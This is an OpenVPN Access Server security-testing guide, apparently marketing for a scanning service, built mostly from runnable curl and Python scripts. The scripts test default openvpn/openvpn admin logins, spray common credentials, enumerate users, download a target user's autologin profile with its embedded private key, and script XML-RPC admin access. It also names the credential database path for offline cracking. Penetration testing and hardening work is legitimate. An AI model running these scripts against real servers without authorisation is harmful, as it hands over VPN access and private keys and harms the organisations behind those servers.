OpenVPN Access Server Security Testing: Admin Credentials, User Certificates, Web API, and Configuration Exposure

OpenVPN Access Server is the most widely deployed self-hosted VPN solution with a web management interface, protecting remote access for home labs, small businesses, and development environments. Compromising the OpenVPN Access Server admin account is equivalent to compromising the network boundary it protects. Its security profile includes: OpenVPN Access Server defaults to openvpn/openvpn as the administrative user credentials until explicitly changed; the REST API on port 943 provides user management, certificate download, and configuration access; the /rest/GetAutologin endpoint downloads a complete .ovpn profile including an embedded private key for any user; the XML-RPC interface provides full user enumeration and configuration management; and the OpenVPN AS stores user credentials in a SQLite database (userprop.db) on the filesystem. This guide covers systematic OpenVPN Access Server security assessment.

Table of Contents

  1. Default Credentials and Authentication
  2. REST API User and Certificate Access
  3. XML-RPC Interface
  4. OpenVPN Access Server Security Hardening

Default Credentials and Authentication

# OpenVPN Access Server — default admin credentials openvpn/openvpn
OVPN_URL="https://vpn.example.com:943"

# Test default openvpn/openvpn credentials via REST API
SESSION=$(curl -sk -c /tmp/ovpn_cookies.txt \
  -X POST "${OVPN_URL}/rest/GetSessionToken" \
  -d "username=openvpn&password=openvpn" 2>/dev/null)
echo "$SESSION" | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if d.get('status','').lower() == 'succeeded':
        print('DEFAULT CREDENTIALS VALID: openvpn/openvpn')
        print(f'Session token: {d.get(\"session_token\",\"\")[:40]}...')
    else:
        print(f'Failed: {d.get(\"error\",d)}')
except Exception as e:
    print(f'Parse error: {e}')
    print(sys.stdin.read()[:200])
" 2>/dev/null

# Test common default variations
for CREDS in "admin:admin" "admin:password" "openvpn:password"; do
  USER=$(echo "$CREDS" | cut -d: -f1)
  PASS=$(echo "$CREDS" | cut -d: -f2)
  RESULT=$(curl -sk -X POST "${OVPN_URL}/rest/GetSessionToken" \
    -d "username=${USER}&password=${PASS}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print('VALID' if d.get('status','').lower() == 'succeeded' else 'INVALID')
except: print('INVALID')
" 2>/dev/null)
  echo "${USER}:${PASS} -> ${RESULT}"
done

REST API User and Certificate Access

# OpenVPN AS REST API — user management and certificate download
OVPN_URL="https://vpn.example.com:943"
SESSION_TOKEN="your-session-token"

# List all VPN users
curl -sk "${OVPN_URL}/rest/ShowUsers" \
  -d "session_token=${SESSION_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    users = d.get('vpn_users',[])
    print(f'VPN users: {len(users)}')
    for u in users:
        print(f'  {u.get(\"cn\")} admin={u.get(\"is_admin\")} connected={u.get(\"connected_since\")}')
except Exception as e:
    print(f'Error: {e}')
" 2>/dev/null

# Download autologin profile for a user — includes embedded private key
# This is the most direct path to VPN access: .ovpn file contains everything needed
USERNAME="targetuser"
curl -sk "${OVPN_URL}/rest/GetAutologin" \
  -d "session_token=${SESSION_TOKEN}&username=${USERNAME}" 2>/dev/null | head -30
# Output is a .ovpn config file containing:
# - CA certificate
# - Client certificate
# - Client private key (embedded between  tags)
# This gives complete VPN access for the target user

# Get server configuration including routing and DNS settings
curl -sk "${OVPN_URL}/rest/GetServerConfig" \
  -d "session_token=${SESSION_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    config = d.get('vpn_config',{})
    print(f'VPN network: {config.get(\"vpn_network\")}')
    print(f'DNS servers: {config.get(\"dns_servers\")}')
    print(f'Routing mode: {config.get(\"vpn_route_traffic\")}')
except: pass
" 2>/dev/null

XML-RPC Interface

# OpenVPN AS XML-RPC — accessible on port 943, full admin capabilities
OVPN_URL="https://vpn.example.com:943"

# XML-RPC authentication — same credentials as web UI
python3 -c "
import xmlrpc.client, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

transport = xmlrpc.client.SafeTransport(context=ctx)
proxy = xmlrpc.client.ServerProxy(
    'https://openvpn:openvpn@vpn.example.com:943/RPC2',
    transport=transport
)

# List all users via XML-RPC
try:
    result = proxy.GetUserlogin()
    print(f'Authentication: {result}')
except Exception as e:
    print(f'Error: {e}')

# Get full server configuration
try:
    config = proxy.GetConfig()
    print(f'Server config keys: {list(config.keys())[:10]}')
except Exception as e:
    print(f'Config error: {e}')
" 2>/dev/null

OpenVPN Access Server Security Hardening

OpenVPN Access Server Security Hardening Checklist:
Security TestMethodRisk
Default openvpn/openvpn admin credentialsPOST /rest/GetSessionToken with username=openvpn&password=openvpn — status=succeeded confirms valid credentials; session token provides full REST API admin access including user management and certificate downloadCritical
Autologin profile with embedded private keyPOST /rest/GetAutologin with valid session token and target username — returns complete .ovpn profile file with embedded CA cert, client cert, and private key; provides direct VPN access without password for that userCritical
User enumeration via REST APIPOST /rest/ShowUsers — returns all configured VPN users including admin status, connection history, and profile settings; reveals user list for targeted credential attacksHigh
XML-RPC full admin accessXMLRPC proxy to /RPC2 with basic auth credentials — same access level as web admin UI; allows user creation, configuration changes, and certificate management via XML-RPC protocolCritical (requires valid credentials)
Database credential extractionRead /etc/openvpn/as/db/userprop.db — SQLite database containing user credentials, certificate details, and configuration; accessible from root on the OpenVPN AS host; credential extraction enables offline password attackHigh

Automate OpenVPN Access Server Security Testing

Ironimo tests OpenVPN Access Server deployments for default admin credential exploitation (openvpn/openvpn), autologin profile download with embedded private key, REST API user enumeration and session management, XML-RPC interface authentication and access, admin UI network exposure on port 943, MFA configuration audit, active session review, and certificate revocation list validation.

Start free scan